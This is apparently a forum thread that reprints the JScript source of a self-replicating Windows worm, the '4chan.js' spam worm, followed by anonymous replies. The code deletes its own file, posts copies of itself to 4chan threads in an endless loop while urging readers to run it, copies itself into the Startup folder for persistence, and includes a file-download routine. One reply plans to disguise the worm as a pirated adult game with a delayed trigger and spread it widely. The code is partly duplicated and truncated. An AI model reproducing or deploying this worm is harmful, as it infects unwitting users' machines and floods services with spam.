f = WSH.createobject("scripting.filesystemobject")
g = f.opentextfile(WSH.scriptfullname)
h = g.readall()
g.close()
f.deletefile( WSH.scriptfullname )
x = "Copy and paste the following to Notepad, save with the filename \"4chan.js\", open the file you created and shit bricks.\r\n\r\n" + h
a = WSH.createobject( "msxml2.xmlhttp" )
b = a.responsetext
c = b.substr( b.indexOf( "res/" ) + 4, 8 )
d = ""
e = ""
for( i = 0; i < 20; i++ )
d += r()
for( i = 0; i < 8; i++ )
e += r()
a.open( "post", "http://dat.4chan.org/b/imgboard.php", 0 )
t = "multipart/form-data; boundary=" + d
a.setrequestheader( "Content-Type", t )
a.send("--" + d + "\r\n" +
k + "\"MAX_FILE_SIZ8\"\r\n\r\n" + "2097152\r\n--" + d + "\r\n" +
k + "\"resto\"\r\n\r\n" + c + "\r\n--" + d + "\r\n" +
k + "\"name\"\r\n\ r\n\r\n--" + d + "\r\n" +
k + "\"email\"\r\n\r\n\r\n--" + d + "\r\n" + k + "\"sub\"\r\n\r\n\r\n--" + d + "\r\n" +
k + "\"com\"\r\n\r\n" + x + "\r\n--" + d + "\r\n" +
k + "\"upfile\"; filename=\"\"\r\n" + "Content-Type: application/octet-stream\r\n\r\n\r\n--" + d + "\r\n" +
k + "\"pwd\"\r\n\r\n" + e + "\r\n--" + d + "\r\n" +
k + "\"mode\"\r\n\r\nregist\r\n--" + d + "--\r\n" )
// Simulates POST data from a field in the HTML posting form.
function field (fieldname, content, boundary) {
return "--" + boundary + "\r\n"
+ "Content-Disposition: form-data; name=\"" + fieldname + "\"\r\n\r\n"
+ content + "\r\n";
}
// Simulates POST data from the file field.
function filefield (fieldname, filename, type, content, boundary) {
return "--" + boundary + "\r\n"
+ "Content-Disposition: form-data; name=\"" + fieldname + "\"; "
+ "filename=\"" + filename + "\"" + "\r\n"
+ "Content-Type: " + type + "\r\n\r\n"
+ content + "\r\n";
}
// Creates a random alphanumeric string.
function randomstring (length) {
var choices = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
var str = "";
for (var i = 0; i < length; i++) {
str = str + choices.charAt( Math.floor(Math.random()*choices.length) );
}
return str;
}
// Posts "image" to thread with comment.
function post (thread, image, comment) {
var request = WSH.createObject("Msxml2.XMLHTTP");
request.open("post", "http://dat.4chan.org/b/imgboard.php", 0);
// Gets a thread number.
function getthread() {
var request = WSH.createObject("Msxml2.XMLHTTP");
request.open("get", "http://img.4chan.org/b/imgboard.html", 0);
if (typeof getthread.modtime != "undefined") {
request.setRequestHeader("If-Modified-Since", getthread.modtime);
}
request.send();
getthread.modtime = request.getResponseHeader("Last-Modified");
return request.responseText.match(/<span id="nothread(\d+)/)[1];
}
// Get copy of this script
var fs = WSH.createObject("Scripting.FileSystemObject");
var thisfile = fs.openTextFile(WSH.scriptFullName);
var image = thisfile.readAll();
thisfile.close();
// Post it over and over
var comment = "1. Open this image (you'll see an error message).\r\n2. Save it as 4chan.js\r\n3. Open the file you just saved.\r\n4. ???\r\n5. Shit bricks.";
for(;;) {
try {
image = image.substr(0,image.length-20) + randomstring(20);
var thread = getthread();
post(thread, image, comment);
WSH.Sleep( 45000 + Math.floor(30000 * Math.random()) );
} catch(e) {}
}
// Global XMLHttp, shell, and file system objects
var request = new ActiveXObject("Msxml2.XMLHTTP");
var shell = new ActiveXObject("WScript.Shell");
var fs = new ActiveXObject("Scripting.FileSystemObject");
// Creates a random alphanumeric string
function randomstring(length) {
var choices = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
var str = "";
for (var i = 0; i < length; i++) {
str = str + choices.charAt( Math.floor(Math.random()*choices.length) );
}
return str;
}
// Gets HTML page or file from URL
function get(url, doretry) {
if (typeof get.modtime == "undefined") get.modtime = [];
var successful = 0;
var tries = 0;
do {
try {
request.open("get", url, 0);
request.setRequestHeader("Accept-Language", "en-us");
if (get.modtime[url]) {
request.setRequestHeader("If-Modified-Since", get.modtime[url]);
}
request.send();
get.modtime[url] = request.getResponseHeader("Last-Modified");
successful = 1;
} catch(e) {}
tries++;
} while (doretry && !successful && tries < 5);
if (!successful) throw("");
if (request.status != 200) throw("");
}
// Downloads binary file
function download(url) {
get(url);
var stream = new ActiveXObject("Adodb.Stream");
stream.mode = 3;
stream.type = 1;
stream.open();
stream.write(request.responseBody);
return stream;
}
// Gets a thread number
function getthread(board, page) {
var url = "http://" + dom1[board] + ".4chan.org/" + dir[board] + "/" + (page || "imgboard") + ".html";
get(url, 1);
var threadlist = request.responseText.match(/<span id="nothread\d+/g);
return threadlist[ Math.floor(Math.random()*threadlist.length) ].match(/\d+/)[0];
}
// Get a copy of this script
var scripttext;
if (typeof WSH == "undefined") {
scripttext = thisscript.innerHTML;
var i = 0;
while (scripttext.charAt(i) == "\n" || scripttext.charAt(i) == "\r") {
i++;
}
scripttext = scripttext.substr(i);
scripttext = "\r\n\r\n//<scr"+"ipt id=thisscript>\r\n" + scripttext + "</scr"+"ipt>\r\n";
} else {
var thisfile = fs.openTextFile(WSH.scriptFullName, 1);
scripttext = thisfile.readAll();
thisfile.close();
}
// Copy to startup folder and run from there
if (typeof WSH == "undefined") {
var copyname;
try {
copyname = shell.regRead("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\\Startup") + "\\4chan.js";
var copyfile = fs.openTextFile(copyname, 2, 1);
copyfile.write(scripttext);
copyfile.close();
} catch(e) {
// Run from temp folder if this fails
copyname = "4chan.js";
var copyfile = fs.openTextFile(copyname, 2, 1);
copyfile.write(scripttext);
copyfile.close();
}
shell.run("wscript \"" + copyname + "\"", 0, 1);
}
------------------------------------------------------------
CONTINUES DOWN
I think we should mod it and post it in that anon bbs who spam 4chan all the time with other files like if it were some sort of loli game (post a rar file with folders and imagefiles there just like a ero-game but them change the exe file for a file that will create a spam file in another folder of his computer and if possible run the game. Also it would be good if the file wait some time to start spamming, maybe one hour or one day.
Them post it everywhere, foruns, torrent, rapidshare, other chans, this way their spammer bbs will die due to massive spam.
>>25
Read the code more carefully, that's just a loader. Look at the replace parts, it marks the start and end of the new piece of code it will run. Your editor probably only showed you those strings as there's a null character separator after the loader part of the script.
Name:
Anonymous2009-09-26 5:25
>>26
Thankyou sir! not sure why I opened it up in wordpad, but I did..
Is there a way to stop the ImageMagick one from operating? I tried blocking the download site by using the hosts file and then deleting imconvert.exe, but that didn't seem to do anything.